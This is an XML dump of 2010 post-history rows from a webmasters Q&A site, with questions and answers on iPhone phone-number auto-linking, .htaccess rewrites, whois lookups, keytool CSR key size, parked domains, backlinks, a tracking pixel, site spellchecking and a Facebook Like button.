  <row Id="8821" PostHistoryTypeId="5" PostId="4043" RevisionGUID="4b0a3b27-2b3e-4e71-bf71-978e77a2bc7e" CreationDate="2010-10-27T09:42:48.170" UserId="233" Comment="added 52 characters in body" Text="Try [SEO Moz's rank tracker][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://seomoz.org/rank-tracker" />
  <row Id="8823" PostHistoryTypeId="2" PostId="4459" RevisionGUID="d322f40a-bcea-4087-996a-56742870b234" CreationDate="2010-10-27T09:54:32.073" UserId="1942" Text="I'm writing a very simple page that is supposed to be viewed on mobile devices. While viewing it in the iphone simulator I noticed that the iphone browser automatically turns any number string into a link, supposedly for dialing it directly.&#xD;&#xA;&#xD;&#xA;Problem is - there are a ton of numbers on my page that LOOK like phone numbers but actually aren't. Is there a way to tell the iphone browser to leave these numbers alone? " />
  <row Id="8824" PostHistoryTypeId="1" PostId="4459" RevisionGUID="d322f40a-bcea-4087-996a-56742870b234" CreationDate="2010-10-27T09:54:32.073" UserId="1942" Text="Keep Iphone browser from turning numbers into links" />
  <row Id="8825" PostHistoryTypeId="3" PostId="4459" RevisionGUID="d322f40a-bcea-4087-996a-56742870b234" CreationDate="2010-10-27T09:54:32.073" UserId="1942" Text="&lt;html&gt;&lt;browsers&gt;&lt;iphone&gt;" />
  <row Id="8826" PostHistoryTypeId="2" PostId="4460" RevisionGUID="bfe3c6c9-4372-482c-8342-e14879c1cb37" CreationDate="2010-10-27T10:06:45.823" UserId="1757" Text="Very poor implementation on Apple's part (I hear this also happens on the iPad, where it makes no sense whatsoever), but there is a fix:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Source: &#xD;&#xA;http://www.darowski.com/tracesofinspiration/2009/03/31/stop-iphone-from-incorrectly-auto-linking-phone-numbers/" />
  <row Id="8827" PostHistoryTypeId="2" PostId="4461" RevisionGUID="da3b2464-c481-4dee-8a3d-f0487ea4e0ca" CreationDate="2010-10-27T10:11:36.943" UserId="233" Text="Whew, that's one hefty `.htaccess`! One thing you may not be aware of is that the `[L]` flag doesn't completely stop processing on htaccess rules. Instead, it stops there and makes a new request for the rewritten URL - which starts matching the rules from the beginning again. [See here][1] for more details.&#xD;&#xA;&#xD;&#xA;Some of your other rules look a little verbose. By default rules match anywhere in the URL, unless you specify `^` at the beginning or `$` at the end. Therefore on this rule:&#xD;&#xA;&#xD;&#xA;    RewriteRule (.*)orgs.html$ browse.php?type=orgs [L]&#xD;&#xA;&#xD;&#xA;The `(.*)` is not necessary and can be removed - Apache will still look for any URL ending in `orgs.html`.&#xD;&#xA;&#xD;&#xA;Also check how necessary those rules are - do you really need to match *any* URL ending in `orgs.html`, or is it only ever at `example.com/orgs.html` ?&#xD;&#xA;&#xD;&#xA;Finally, the asterisk modifier searches for &quot;zero or more characters&quot; - so `cms/([a-zA-Z\-]*).html$` would match `cms/.html`. Many of them ought to be replaced with the plus sign to match at least one character - e.g. `cms/([a-zA-Z\-]+).html$`&#xD;&#xA;&#xD;&#xA;  [1]: http://www.easymodrewrite.com/notes-last" />
  <row Id="8828" PostHistoryTypeId="5" PostId="4460" RevisionGUID="aea6d604-b3d9-49db-8627-d81d35923875" CreationDate="2010-10-27T10:15:16.733" UserId="1757" Comment="added 209 characters in body; added 1 characters in body" Text="Very poor implementation on Apple's part (I hear this also happens on the iPad, where it makes no sense whatsoever), but there is a fix:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Source: &#xD;&#xA;http://www.darowski.com/tracesofinspiration/2009/03/31/stop-iphone-from-incorrectly-auto-linking-phone-numbers/&#xD;&#xA;&#xD;&#xA;One of the comments on that page also suggests the use of the controversial soft hyphen (`&amp;shy;`) to prevent auto-linking of a specific number (so the browser can still auto-linl other numbers on the page)." />
  <row Id="8829" PostHistoryTypeId="2" PostId="4463" RevisionGUID="560ac328-1cf0-4923-bafa-f6811d562a52" CreationDate="2010-10-25T22:45:06.500" UserDisplayName="tanjir" Text="Does it help? http://www.nott.org/blog/php-whois-script.html" />
  <row Id="8830" PostHistoryTypeId="2" PostId="4464" RevisionGUID="ac2d95a0-e077-4baa-b721-8e9ce294ce6d" CreationDate="2010-10-25T23:53:40.797" UserDisplayName="Eamorr" Text="    $result=`whois google.com`;&#xD;&#xA;    &#xD;&#xA;    echo $result;&#xD;&#xA;&#xD;&#xA;If you need GPS coordinates for the server's location, I'd suggest Google's geo-location service." />
  <row Id="8831" PostHistoryTypeId="2" PostId="4462" RevisionGUID="6daa7a0c-ad01-4602-9d50-f9288a82e11d" CreationDate="2010-10-25T22:40:25.127" UserId="2740" Text="Is there a free API where I can pull whois data and server location data?&#xD;&#xA;&#xD;&#xA;(similar to who.is)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8832" PostHistoryTypeId="1" PostId="4462" RevisionGUID="6daa7a0c-ad01-4602-9d50-f9288a82e11d" CreationDate="2010-10-25T22:40:25.127" UserId="2740" Text="Free/cheap Whois Api" />
  <row Id="8833" PostHistoryTypeId="3" PostId="4462" RevisionGUID="6daa7a0c-ad01-4602-9d50-f9288a82e11d" CreationDate="2010-10-25T22:40:25.127" UserId="2740" Text="&lt;php&gt;&lt;javascript&gt;&lt;api&gt;" />
  <row Id="8834" PostHistoryTypeId="17" PostId="4462" RevisionGUID="540453d7-467d-4759-937d-5354841eddad" CreationDate="2010-10-27T11:35:32.970" UserId="-1" Comment="from http://stackoverflow.com/questions/4019442/free-cheap-whois-api" Text="" />
  <row Id="8835" PostHistoryTypeId="2" PostId="4465" RevisionGUID="87145c19-de9a-40e5-8c50-b0ff7766edbe" CreationDate="2010-10-27T11:38:49.787" UserId="1953" Text="I think evaluating an SEO depends on your needs. SEO has and is becoming increasingly segmented, there are some that specialize in IA, some in link building, some in local SEO, some in content writing, some in video SEO and so on. &#xD;&#xA;&#xD;&#xA;Google does offer their recommendations on &quot;tips for hiring and SEO&quot;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=35291&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8836" PostHistoryTypeId="2" PostId="4466" RevisionGUID="7c255f4d-395a-45b8-9761-995203453960" CreationDate="2010-10-27T12:34:01.753" UserId="1089" Text="I [commented][1] 2 weeks ago that you had articles about hacking and cracking on your website. You've removed some of them, [but not all][2].&#xD;&#xA;&#xD;&#xA;If you were flagged for hacking/cracking content, it is almost certain that google will check that you have taken appropriate action, that means removing **everything** to do with hacking.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3170/what-is-basic-requiremnt-to-publish-ads-on-site&#xD;&#xA;  [2]: http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/i-hacked-admin-section-of-my-site-yesterday-morning.amty" />
  <row Id="8837" PostHistoryTypeId="5" PostId="4399" RevisionGUID="76f1d302-55e3-4a33-9a79-1f6a14c6d7cd" CreationDate="2010-10-27T12:50:03.283" UserId="2552" Comment="fixed typo" Text="SEO in my personal opinion, really is more of basics your web developer should be doing from the start of building your site. There are some optimizations you can do along the way if you're unable to make your URL's friendly or some of the other heavier lifting things, but why you would pay for this when you already had someone build the site is crazy to me. &#xD;&#xA;&#xD;&#xA;The service part that I think I could see being worth paying for is market research about your site. I've seen a company that went out and found out what keys words were really the best for a sites content/market and helped to tailor the content of the site more accurately towards what their market wanted. In the end it wasn't so much SEO as it was just getting their site to match what people really wanted to find on their website. If someone keeps arriving on your site with the search term &quot;How to boil hot dogs&quot; and you're site only talks about hamburgers, then there's potential. However dumping &quot;Hot Dogs&quot; all over your meta data just to increase traffic is a bit of a jerk move and the main reason I hate these so called SEO-experts." />
  <row Id="8838" PostHistoryTypeId="2" PostId="4467" RevisionGUID="0af8d0fa-5d6a-4050-9f89-c9d2276b05ec" CreationDate="2010-10-27T12:51:54.583" UserId="706" Text="I'm going to create a SSL Certificate so I can use https on my web site. I have to generate a Certificate Signing Request (CSR) and I did generate such a file with Java `keytool` following the guide [Generate a Certificate Signing Request (CSR) on Tomcat][1], but when I upload my CSR, I get a message from GlobalSign:&#xD;&#xA;&#xD;&#xA;&gt; We suggest that a Bit Length of 2048 bits is used when generating your CSR.&#xD;&#xA;Please regenerate your CSR and select this Bit Length.&#xD;&#xA;&#xD;&#xA;So how do I set the Bit Length to 2048 bits using the Java `keytool`?&#xD;&#xA;&#xD;&#xA;I generated the CSR file with: `keytool -certreq -keyalg RSA -alias your_alias_name -file certreq.csr -keystore your_keystore_filename`&#xD;&#xA;&#xD;&#xA;And before that I created my certificate keystore and private key with: `keytool -genkey -alias your_alaias_name -keyalg RSA -keystore your_keystore_filename`&#xD;&#xA;  [1]: http://www.globalsign.com/support/csr/serversign_tomcat.php" />
  <row Id="8839" PostHistoryTypeId="1" PostId="4467" RevisionGUID="0af8d0fa-5d6a-4050-9f89-c9d2276b05ec" CreationDate="2010-10-27T12:51:54.583" UserId="706" Text="How to set the Bit Lenght when generating SSL Certificat with Java keytool?" />
  <row Id="8840" PostHistoryTypeId="3" PostId="4467" RevisionGUID="0af8d0fa-5d6a-4050-9f89-c9d2276b05ec" CreationDate="2010-10-27T12:51:54.583" UserId="706" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;certificate-generation&gt;" />
  <row Id="8841" PostHistoryTypeId="2" PostId="4468" RevisionGUID="f5c386e5-ca20-4114-aaad-960fa24afa3b" CreationDate="2010-10-27T13:23:52.207" UserId="184" Text="Normally it should not affect any of your visitors but there can be a few cases in which an AAAA-record is requested only (so the user does only get the IPv6 address) but the connection does not support IPv6 already thus making the website unaccessible for some users (this may affect 1 or 2 in 1000 users)." />
  <row Id="8842" PostHistoryTypeId="2" PostId="4469" RevisionGUID="3f30a4a6-ef47-4395-9a39-9db10619e690" CreationDate="2010-10-27T13:43:28.547" UserId="1064" Text="Try adding `-keysize 2048`&#xD;&#xA;&#xD;&#xA;Source: [CSR Generation: Java-based Webservers (using keytool)][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.comodo.com/index.php?_m=knowledgebase&amp;_a=viewarticle&amp;kbarticleid=244" />
  <row Id="8843" PostHistoryTypeId="2" PostId="4470" RevisionGUID="613b845a-ac50-46d7-9f37-ef0eaae90a08" CreationDate="2010-10-27T14:00:32.487" UserId="2044" Text="I have registered a domain name abc.com from xyz company. i have the secret code too. I have heard about the revenue from parked domains. &#xD;&#xA;&#xD;&#xA;I would like to know how can we generate revenue from it and what do we need to park domain " />
  <row Id="8844" PostHistoryTypeId="1" PostId="4470" RevisionGUID="613b845a-ac50-46d7-9f37-ef0eaae90a08" CreationDate="2010-10-27T14:00:32.487" UserId="2044" Text="What is Parked Domain and how can we generate a revenue from a parked domain" />
  <row Id="8845" PostHistoryTypeId="3" PostId="4470" RevisionGUID="613b845a-ac50-46d7-9f37-ef0eaae90a08" CreationDate="2010-10-27T14:00:32.487" UserId="2044" Text="&lt;domain-names&gt;&lt;parking&gt;&lt;domain-registration&gt;" />
  <row Id="8846" PostHistoryTypeId="5" PostId="4467" RevisionGUID="e11b94f1-0d5d-4630-ac74-2448752332e9" CreationDate="2010-10-27T14:06:59.253" UserId="108" Comment="added 4 characters in body; edited title" Text="I'm going to create a SSL Certificate so I can use https on my web site. I have to generate a Certificate Signing Request (CSR) and I did generate such a file with the Java `keytool` following the guide [Generate a Certificate Signing Request (CSR) on Tomcat][1], but when I upload my CSR, I get a message from GlobalSign:&#xD;&#xA;&#xD;&#xA;&gt; We suggest that a Bit Length of 2048 bits is used when generating your CSR.&#xD;&#xA;Please regenerate your CSR and select this Bit Length.&#xD;&#xA;&#xD;&#xA;So how do I set the Bit Length to 2048 bits using the Java `keytool`?&#xD;&#xA;&#xD;&#xA;I generated the CSR file with: `keytool -certreq -keyalg RSA -alias your_alias_name -file certreq.csr -keystore your_keystore_filename`&#xD;&#xA;&#xD;&#xA;And before that I created my certificate keystore and private key with: `keytool -genkey -alias your_alaias_name -keyalg RSA -keystore your_keystore_filename`&#xD;&#xA;  [1]: http://www.globalsign.com/support/csr/serversign_tomcat.php" />
  <row Id="8847" PostHistoryTypeId="4" PostId="4467" RevisionGUID="e11b94f1-0d5d-4630-ac74-2448752332e9" CreationDate="2010-10-27T14:06:59.253" UserId="108" Comment="added 4 characters in body; edited title" Text="How to set the Bit Length when generating SSL Certificat with Java keytool?" />
  <row Id="8848" PostHistoryTypeId="2" PostId="4471" RevisionGUID="3a9e8a41-e180-48e5-8cb3-96f3af2010b5" CreationDate="2010-10-27T14:08:42.823" UserId="1253" Text="You might be a bit misinformed about parked domains. Yes, you can make money from parked domains but generally this is done by either having a domain that gets lots of traffic already (these usually aren't easily found as if they are getting good traffic they are rarely allowed to expire, etc) or you have a *very* large network of domains (usually expired) and you set up a landing page for each with targeted ads/affiliate links geared towards whatever the domain name signifies. This is most efficiently done using one script to power all of the expired domains by having them all point to the same document root.&#xD;&#xA;&#xD;&#xA;An example would be if you somehow acquired espn.com (let's pretend it expired and you snapped it up). You would then set it up as a parked domain with the appropriate code in place that targets the ads to sports related affiliate searches, links, and other types of ads. You will need to create the account with the appropriate advertisers and affiliate providers.&#xD;&#xA;&#xD;&#xA;Parking a domain is a matter of setting up your web server, like Apache, to point your parked domains to the same document root (i.e. /home/example/www/). This way they all look and act like they are separate websites but in reality they are all pointing to the same place and running off of the same code. Control panels like cPanel and Plesk make this easy to do.&#xD;&#xA;&#xD;&#xA;Unless the domain you are parking gets a decent amount of traffic, and newly registered domains get no traffic, you won't be making much, if any, money from doing this. Like I mentioned above, the only way to make real money doing this is to have a lot of expired domains that get traffic and collectively use them to generate revenue. The scenario you provided (newly registered domain) will almost certainly make you no revenue." />
  <row Id="8849" PostHistoryTypeId="2" PostId="4472" RevisionGUID="a16d93a1-9c4f-41aa-acf5-0c61c60eeb4e" CreationDate="2010-10-27T14:34:29.357" UserId="2761" Text="I'd like to make my CSS3 background gradient fixed. Any suggestions?" />
  <row Id="8850" PostHistoryTypeId="1" PostId="4472" RevisionGUID="a16d93a1-9c4f-41aa-acf5-0c61c60eeb4e" CreationDate="2010-10-27T14:34:29.357" UserId="2761" Text="CSS3 Background Gradient Fixed" />
  <row Id="8851" PostHistoryTypeId="3" PostId="4472" RevisionGUID="a16d93a1-9c4f-41aa-acf5-0c61c60eeb4e" CreationDate="2010-10-27T14:34:29.357" UserId="2761" Text="&lt;css3&gt;" />
  <row Id="8852" PostHistoryTypeId="2" PostId="4473" RevisionGUID="42c4a3ab-6170-43bf-8d45-806075683830" CreationDate="2010-10-27T14:35:57.373" UserId="2044" Text="I am here with target for gaining page ranking in google search result.&#xD;&#xA;&#xD;&#xA;I have heard about back links but not sure what they are and how they help in SEO Ranking&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8853" PostHistoryTypeId="1" PostId="4473" RevisionGUID="42c4a3ab-6170-43bf-8d45-806075683830" CreationDate="2010-10-27T14:35:57.373" UserId="2044" Text="What is Back link? How does it helps in SEO Ranking?" />
  <row Id="8854" PostHistoryTypeId="3" PostId="4473" RevisionGUID="42c4a3ab-6170-43bf-8d45-806075683830" CreationDate="2010-10-27T14:35:57.373" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;backlinks&gt;" />
  <row Id="8855" PostHistoryTypeId="2" PostId="4474" RevisionGUID="4678de04-bf3b-493e-9957-f21ffbb0e981" CreationDate="2010-10-27T14:50:48.967" UserId="1253" Text="A back link is a any link on another website that is not your own that points to a page on your website. They are helpful in SEO because the search engines, particularly Google, sees links as &quot;votes&quot;. Whenever another website links to yours they are essentially &quot;voting&quot; for your web page, or a better way to say it is, saying they believe your web page is very helpful or informative on the topic it covers.&#xD;&#xA;&#xD;&#xA;Backlinks carry weight because they are generally out of control of the receiving website. Yes, you can attempt to make websites just to link back to your own website but there are many problems with this. Not only can you not make enough links to make a difference regardless of any other factors, but the search engines can sniff out networks built for such a purpose and devalue those links completely and/or ban those sites from their search engines. &#xD;&#xA;&#xD;&#xA;Additionally, not all links are created equal. Links from related web pages are worth more then from unrelated pages. The anchor text in those links are also a factor in the link's value as is the page's ranking for the search terms you wish to rank well for. In Google PageRank is also a factor (although much smaller then many would have you believe).&#xD;&#xA;&#xD;&#xA;The best way to get backlinks, especially quality backlinks, is to have high quality content on your website. These naturally attract links as webmasters prefer to link to good content and not frivolous content. Building up quality backlinks takes time and never goes quickly. Anyone telling you otherwise is not well informed or being dishonest." />
  <row Id="8856" PostHistoryTypeId="5" PostId="4474" RevisionGUID="bef0ee22-9e66-4e2b-84a4-809c1b17c130" CreationDate="2010-10-27T14:56:54.763" UserId="1253" Comment="added 859 characters in body" Text="A back link is a any link on another website that is not your own that points to a page on your website. This is different from an internal links which is when you link one page on your website to another page on your website. They are helpful in SEO because the search engines, particularly Google, sees links as &quot;votes&quot;. Whenever another website links to yours they are essentially &quot;voting&quot; for your web page, or a better way to say it is they saying they believe your web page is very helpful or informative on the topic it covers. &#xD;&#xA;&#xD;&#xA;Backlinks carry weight because they are generally out of control of the receiving website. (As a general rule, the less control a webmaster has over something and the more visible it is to users the more weight it will carry). Yes, you can attempt to make websites just to link back to your own website but there are many problems with this. Not only can you not make enough links to make a difference regardless of any other factors, but the search engines can sniff out networks built for such a purpose and devalue those links completely and/or ban those sites from their search engines. &#xD;&#xA;&#xD;&#xA;Additionally, not all links are created equal. Links from related web pages are worth more then from unrelated pages. The anchor text in those links are also a factor in the link's value as is the page's ranking for the search terms you wish to rank well for. In Google PageRank is also a factor (although much smaller then many would have you believe). So, going back to my artificial network example, even if you make a network of sites just to link to yours, because they won't have any backlinks of their own and will rank poorly their links to you will be very low value and not helpful at all. Especially if they are off topic. If you try to make sites similar to your own you have two problems: either the sites contain duplicate content and will be ignored by the search engines or you'll be wasting good content on a satellite website when it could be doing your main website good by attracting links where you want them in the first place.&#xD;&#xA;&#xD;&#xA;The best way to get backlinks, especially quality backlinks, is to have high quality content on your website. These naturally attract links as webmasters prefer to link to good content and not frivolous content. Building up quality backlinks takes time and never goes quickly. Anyone telling you otherwise is not well informed or being dishonest." />
  <row Id="8857" PostHistoryTypeId="2" PostId="4475" RevisionGUID="da720289-a7ea-4a90-be7b-1f910fb9125d" CreationDate="2010-10-26T17:22:31.573" UserDisplayName="Christian South" Text="This a bit of a weird question so please let me know if you need more information.&#xD;&#xA;For a side project I am working on I need to ability to generate advertising on a specific page based on a specified domain. I have looked a bit and haven't found anything that really fits this so I'm hoping someone here has a service like this or can push me in the correct direction. I'm not super interested in finding my own advertiser/rolling my own solution currently (not to say it wont happen in the future), looking for more of an out of the box solution.&#xD;&#xA;Clarification: The advertising on this page will be generated based upon the referral URL. So in other words instead of the advertising content being contextual to the page it is delivered on.. it is contextual to a domain/URL.&#xD;&#xA;TYIA" />
  <row Id="8858" PostHistoryTypeId="1" PostId="4475" RevisionGUID="da720289-a7ea-4a90-be7b-1f910fb9125d" CreationDate="2010-10-26T17:22:31.573" UserDisplayName="Christian South" Text="Is there an easy way to do referrer based advertising?" />
  <row Id="8859" PostHistoryTypeId="3" PostId="4475" RevisionGUID="da720289-a7ea-4a90-be7b-1f910fb9125d" CreationDate="2010-10-26T17:22:31.573" UserDisplayName="Christian South" Text="&lt;ads&gt;&lt;startup&gt;" />
  <row Id="8860" PostHistoryTypeId="17" PostId="4475" RevisionGUID="1eb77b11-e557-44b0-a2bc-4aa2d08803dc" CreationDate="2010-10-27T15:19:16.010" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8624/is-there-an-easy-way-to-do-referrer-based-advertising" Text="" />
  <row Id="8861" PostHistoryTypeId="2" PostId="4476" RevisionGUID="2f0a17cb-0911-4bc0-9791-5a40a026ce52" CreationDate="2010-10-27T15:34:24.653" UserId="845" Text="I'm seeing *very* weird behaviour in relation to this domain and a tracking image. On a specific page on our site, I'm seeing a script that's being added dynamically, apparently via flash (I wasn't even aware that flash could alter the DOM ...) That script is located at:&#xD;&#xA;&#xD;&#xA;http://scorecardresearch.com/beacon.js&#xD;&#xA;&#xD;&#xA;When I request that URL, I see a 1x1 gif. Another weird point is that this domain appears to break all the web-based whois tools; entering that domain results in a 1x1 gif. This is even to the extent where, if I enter scorecardresearch.com into the Title as part of this question, GIF code appears just below it! Hence, the &quot;dot&quot; in the title.&#xD;&#xA;&#xD;&#xA;The only 'unusual' thing on the page is a slideshare 'widget', which is flash-based - that's why I'm concluding that flash is altering the DOM.&#xD;&#xA;&#xD;&#xA;Anyone know what is going on here? How concerned should I be?" />
  <row Id="8862" PostHistoryTypeId="1" PostId="4476" RevisionGUID="2f0a17cb-0911-4bc0-9791-5a40a026ce52" CreationDate="2010-10-27T15:34:24.653" UserId="845" Text="scorecardresearch dot com: weird tracking pixel" />
  <row Id="8863" PostHistoryTypeId="3" PostId="4476" RevisionGUID="2f0a17cb-0911-4bc0-9791-5a40a026ce52" CreationDate="2010-10-27T15:34:24.653" UserId="845" Text="&lt;security&gt;&lt;flash&gt;&lt;tracking&gt;" />
  <row Id="8864" PostHistoryTypeId="2" PostId="4477" RevisionGUID="61696049-a0a0-46b3-ac6b-c3e46272314a" CreationDate="2010-10-27T15:56:47.223" UserId="1253" Text="That JavaScript file gives me a 404 error.&#xD;&#xA;&#xD;&#xA;From their website:&#xD;&#xA;&gt; ScorecardResearch, a service of Full&#xD;&#xA;&gt; Circle Studies, Inc., is part of the&#xD;&#xA;&gt; comScore, Inc. market research&#xD;&#xA;&gt; community, a leading global market&#xD;&#xA;&gt; research effort that studies and&#xD;&#xA;&gt; reports on Internet trends and&#xD;&#xA;&gt; behavior. ScorecardResearch conducts&#xD;&#xA;&gt; research by collecting Internet web&#xD;&#xA;&gt; browsing data and then uses that data&#xD;&#xA;&gt; to help show how people use the&#xD;&#xA;&gt; Internet, what they like about it, and&#xD;&#xA;&gt; what they don’t.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ScorecardResearch collects data&#xD;&#xA;&gt; through from two main sources: surveys&#xD;&#xA;&gt; and web tagging. For our surveys, we&#xD;&#xA;&gt; invite people on the Internet to&#xD;&#xA;&gt; provide us with anonymous demographic&#xD;&#xA;&gt; and Internet usage information that we&#xD;&#xA;&gt; can use to refine our reporting. These&#xD;&#xA;&gt; surveys are always voluntary, and are&#xD;&#xA;&gt; never used to collect personal&#xD;&#xA;&gt; information. For web tagging,&#xD;&#xA;&gt; participating websites agree to deploy&#xD;&#xA;&gt; a special code throughout their sites.&#xD;&#xA;&gt; Again, no personally identifiable&#xD;&#xA;&gt; information is ever transmitted by, or&#xD;&#xA;&gt; linked to, the web tags.&#xD;&#xA;&#xD;&#xA;&gt;[Learn more about ScorecardResearch and our market research programs.][1]&#xD;&#xA;&#xD;&#xA;ComScore is a legit tracking company as they are frequently quoted in relation to website traffic and browser statistics.&#xD;&#xA;&#xD;&#xA;What I want to know is why you have something on your site that you don't know anything about. Did you put the flash there If not why not remove it? If so, shouldn't whomever provided it tell you about what it does?&#xD;&#xA;&#xD;&#xA;FYI, Whois info:&#xD;&#xA;&#xD;&#xA;&gt; Registrant: TMRG, INC.&#xD;&#xA;   11950 Democracy Dr.&#xD;&#xA;   Suite 600&#xD;&#xA;   Reston, VA 20190&#xD;&#xA;   US&#xD;&#xA;&#xD;&#xA;&gt;   Domain Name: SCORECARDRESEARCH.COM&#xD;&#xA;&#xD;&#xA;&gt;   Administrative Contact, Technical Contact:&#xD;&#xA;&gt;&#xD;&#xA;      Administrator, Domain                &#xD;&#xA;      TMRG, INC.&#xD;&#xA;      11950 Democracy Dr.&#xD;&#xA;      Suite 600&#xD;&#xA;      Reston, VA 20190&#xD;&#xA;      US&#xD;&#xA;      703-438-2000 fax: 512-727-3144&#xD;&#xA;&#xD;&#xA;&gt;   Record expires on 01-Nov-2011.&#xD;&#xA;&gt; &#xD;&#xA;&gt;   Record created on 01-Nov-2007.&#xD;&#xA;&#xD;&#xA;&gt;   Domain servers in listed order:&#xD;&#xA;&#xD;&#xA;&gt;   NS1-213.AKAM.NET             &#xD;&#xA;&gt;   NS1-86.AKAM.NET   &#xD;&#xA;         &#xD;&#xA;&gt;   USE1.AKAM.NET  &#xD;&#xA;&#xD;&#xA;&gt;   USE3.AKAM.NET &#xD;&#xA;&#xD;&#xA;&gt;   USW2.AKAM.NET                65.166.152.131&#xD;&#xA;&#xD;&#xA;&gt;   USW4.AKAM.NET     &#xD;&#xA;           &#xD;&#xA;&gt;   USW5.AKAM.NET                63.241.73.214&#xD;&#xA;&#xD;&#xA;&gt;   EUR2.AKAM.NET&#xD;&#xA;linked to, the web tags.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://scorecardresearch.com/About.aspx" />
  <row Id="8865" PostHistoryTypeId="2" PostId="4478" RevisionGUID="87415973-045c-4df3-973e-2ad76ea50194" CreationDate="2010-10-27T16:15:58.637" UserDisplayName="user2553" Text="I need to spellcheck a password protected website.  I'd like to find a downloadable tool like xenu (which checks broken links) but checks spelling instead.&#xD;&#xA;&#xD;&#xA;does anyone know of a tool like this?&#xD;&#xA;&#xD;&#xA;Thank you &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;note: i've seen a few free services online that ask for the web address and the email the results to you.  This won't work in my situation since a username and password is required for access." />
  <row Id="8866" PostHistoryTypeId="1" PostId="4478" RevisionGUID="87415973-045c-4df3-973e-2ad76ea50194" CreationDate="2010-10-27T16:15:58.637" UserDisplayName="user2553" Text="How can I spellcheck password protected website?" />
  <row Id="8867" PostHistoryTypeId="3" PostId="4478" RevisionGUID="87415973-045c-4df3-973e-2ad76ea50194" CreationDate="2010-10-27T16:15:58.637" UserDisplayName="user2553" Text="&lt;web-development&gt;&lt;testing&gt;" />
  <row Id="8869" PostHistoryTypeId="5" PostId="4478" RevisionGUID="8168c256-c5a1-410c-9729-c332708fbf23" CreationDate="2010-10-27T17:01:00.943" UserDisplayName="user2553" Comment="added 5 characters in body" Text="I need to spellcheck a password protected website.  I'd like to find a FREE downloadable tool like xenu (which checks broken links) but checks spelling instead.&#xD;&#xA;&#xD;&#xA;does anyone know of a tool like this?&#xD;&#xA;&#xD;&#xA;Thank you &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;note: i've seen a few free services online that ask for the web address and the email the results to you.  This won't work in my situation since a username and password is required for access." />
  <row Id="8870" PostHistoryTypeId="5" PostId="4478" RevisionGUID="e1748245-ee32-41b5-883b-eaff0abefbcc" CreationDate="2010-10-27T17:16:06.237" UserDisplayName="user2553" Comment="added 11 characters in body; deleted 20 characters in body; edited title; deleted 23 characters in body" Text="I need to spellcheck an entire website(950 pages).  I'd like to find a FREE tool like xenu (which checks broken links) but checks spelling instead.&#xD;&#xA;&#xD;&#xA;does anyone know of a tool like this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;note: i've seen a few free services online that ask for the web address and the email the results to you but they limit you to checking only a few pages....I have 950.  " />
  <row Id="8871" PostHistoryTypeId="4" PostId="4478" RevisionGUID="e1748245-ee32-41b5-883b-eaff0abefbcc" CreationDate="2010-10-27T17:16:06.237" UserDisplayName="user2553" Comment="added 11 characters in body; deleted 20 characters in body; edited title; deleted 23 characters in body" Text="How can I spellcheck entire website?" />
  <row Id="8872" PostHistoryTypeId="2" PostId="4479" RevisionGUID="8f8672e7-5cbf-4052-9406-e452490415a4" CreationDate="2010-10-27T18:06:01.273" UserDisplayName="Ben" Text="I really don't think it matters anymore. I used to be a slave to validation, now I rarely ever check it. Perhaps I got burned out from making sure my site was valid, or perhaps I just didn't care anymore because nobody else will. I can guarantee 99.9% of our visitors don't even know what it is as well as even care if they did. Future browser software might, but when that day comes, I'll worry about it then." />
  <row Id="8873" PostHistoryTypeId="2" PostId="4480" RevisionGUID="ab3cef9b-e97f-40a5-b218-b1c487a0f766" CreationDate="2010-10-27T18:14:42.083" UserId="1599" Text="I've decided to add a Like button to one of pages on my website.  &#xD;&#xA;The button appears, but it can't be clicked (i.e. nothing happens)&#xD;&#xA;&#xD;&#xA;I've tried both *iframe* and *XFBML* with different settings, but nothing helped.&#xD;&#xA;&#xD;&#xA;[Here](http://blaxpirit.org.ua/content/test.php) is an example of not working button&#xD;&#xA;&#xD;&#xA;What can I do to fix the problem?&#xD;&#xA;&#xD;&#xA;Additional information can be provided if needed, just write a comment." />
  <row Id="8874" PostHistoryTypeId="1" PostId="4480" RevisionGUID="ab3cef9b-e97f-40a5-b218-b1c487a0f766" CreationDate="2010-10-27T18:14:42.083" UserId="1599" Text="Facebook Like button unclickable" />
  <row Id="8875" PostHistoryTypeId="3" PostId="4480" RevisionGUID="ab3cef9b-e97f-40a5-b218-b1c487a0f766" CreationDate="2010-10-27T18:14:42.083" UserId="1599" Text="&lt;facebook&gt;&lt;web-applications&gt;" />
  <row Id="8876" PostHistoryTypeId="2" PostId="4481" RevisionGUID="880217e1-7f51-4843-be49-b7e67b76282d" CreationDate="2010-10-27T18:41:53.323" UserId="745" Text="The code on your site doesn't look like the code that is generated using the [like button generator][1]. Have you used the generator? It looks like you're mixing and matching two different ways of producing the box. Also, in your script tag, you have a line that says: `'your app id'`.  I would imagine that you would have to change that to something meaningful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/plugins/like" />
